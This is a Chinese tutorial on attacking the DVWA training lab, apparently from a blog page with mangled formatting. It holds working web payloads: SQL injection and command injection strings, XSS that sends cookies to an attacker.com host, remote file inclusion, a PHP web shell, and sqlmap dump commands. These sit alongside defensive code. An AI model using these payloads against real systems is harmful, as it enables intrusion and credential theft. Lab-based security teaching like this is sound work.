2026/4/18 8:57:12
网站建设
项目流程
营销型网站建设的公司,wordpress 主题翻译,宝塔搭建wordpress负载高,上传网站模板建站DVWA漏洞靶场实战项目
一、项目概述
DVWA#xff08;Damn Vulnerable Web Application#xff09;是一个专门用于安全漏洞学习和测试的PHP/MySQL Web应用。本项目将带你完成DVWA靶场的搭建、配置和漏洞实战演练。
二、环境搭建
1. 准备工作
方案一#xff1a;使用DockerDamn Vulnerable Web Application是一个专门用于安全漏洞学习和测试的PHP/MySQL Web应用。本项目将带你完成DVWA靶场的搭建、配置和漏洞实战演练。二、环境搭建1. 准备工作方案一使用Docker推荐# 拉取DVWA镜像docker pull vulnerables/web-dvwa# 运行容器docker run -d -p80:80 --name dvwa vulnerables/web-dvwa方案二本地安装XAMPP/WAMP下载XAMPPhttps://www.apachefriends.org/下载DVWAhttps://github.com/digininja/DVWA将DVWA解压到htdocs目录启动Apache和MySQL服务2. 初始化配置# 访问DVWAhttp://localhost# 点击Create/Reset Database创建数据库# 默认登录凭据# 用户名admin# 密码password三、安全等级设置Low无防护用于学习漏洞原理Medium基础防护需绕过简单过滤High较强防护需高级绕过技巧Impossible最佳实践防护四、核心漏洞实战1. SQL注入SQL InjectionLow等级攻击-- 基础注入1 OR 11-- 获取数据库信息1 UNION SELECT user(), database()-- -- 获取表名 1UNIONSELECTtable_name,2FROMinformation_schema.tablesWHEREtable_schemadatabase()--防御措施使用参数化查询对输入进行严格过滤最小权限原则2. 命令注入Command Injection攻击示例127.0.0.1 whoami 127.0.0.1 | cat /etc/passwd 127.0.0.1; ls -la防御措施使用白名单验证输入避免使用系统调用函数使用安全的API替代3. 跨站脚本XSS反射型XSSscriptalert(document.cookie)/scriptsvgonloadalert(1)存储型XSSscriptnewImage().srchttp://attacker.com/steal?cookiedocument.cookie/script防御措施输出编码设置HttpOnly Cookie使用CSP策略4. 文件包含File Inclusion本地文件包含../../../../etc/passwd php://filter/convert.base64-encode/resourceindex.php远程文件包含http://attacker.com/shell.txt5. 文件上传漏洞攻击步骤创建恶意PHP文件?phpsystem($_GET[cmd]);?修改文件扩展名绕过检测访问上传的文件执行命令五、自动化测试工具实践1. 使用Burp Suite配置流程 1. 设置浏览器代理 2. 拦截HTTP请求 3. 使用Intruder模块进行暴力破解 4. 使用Repeater模块修改请求 5. 使用Scanner自动扫描漏洞2. 使用SQLMap# 基础扫描sqlmap -uhttp://localhost/vulnerabilities/sqli/?id1SubmitSubmit--cookiePHPSESSIDxxx; securitylow# 获取数据库sqlmap -uURL--cookieCOOKIE--dbs# 获取表名sqlmap -uURL--cookieCOOKIE-D dvwa --tables# 获取数据sqlmap -uURL--cookieCOOKIE-D dvwa -Tusers--dump六、实战演练任务清单漏洞类型难度任务要求完成状态SQL注入Low获取所有用户信息□SQL注入Medium绕过过滤获取数据□XSS反射型Low弹出当前Cookie□XSS存储型Medium窃取管理员Cookie□文件上传High上传WebShell并执行命令□CSRFMedium构造恶意页面修改密码□七、防御代码示例1. 安全的SQL查询PHP// 使用预处理语句$stmt$pdo-prepare(SELECT * FROM users WHERE id :id);$stmt-execute([id$userId]);$result$stmt-fetchAll();2. XSS防护// 输出编码echohtmlspecialchars($user_input,ENT_QUOTES,UTF-8);// 设置CSP头header(Content-Security-Policy: default-src self);3. 安全的文件上传// 检查文件类型$allowed_types[image/jpeg,image/png];if(!in_array($_FILES[file][type],$allowed_types)){die(Invalid file type);}// 重命名文件$new_filenameuniqid()...$extension;八、学习路线建议第一阶段基础入门1-2周完成环境搭建和基本配置逐个尝试Low等级的所有漏洞理解每种漏洞的原理第二阶段进阶挑战2-3周尝试Medium和High等级学习绕过技巧使用自动化工具辅助测试第三阶段深入分析1周查看Impossible级别的源代码理解最佳防御实践尝试编写自己的防护代码九、注意事项合法授权仅在授权的测试环境中使用备份数据测试前备份重要数据网络隔离在隔离的网络环境中测试学习目的仅用于学习网络安全知识十、扩展资源官方文档https://github.com/digininja/DVWACTF挑战尝试其他漏洞靶场如WebGoat、bWAPP在线平台HackTheBox、TryHackMe相关书籍《Web安全深度剖析》《白帽子讲Web安全》项目总结通过DVWA实战项目你可以系统性地学习Web安全漏洞的原理、利用方式和防御方法。建议按照从易到难的顺序逐步深入并结合实际代码分析加深理解。安全测试不仅是技术学习更需要良好的职业道德和法律意识。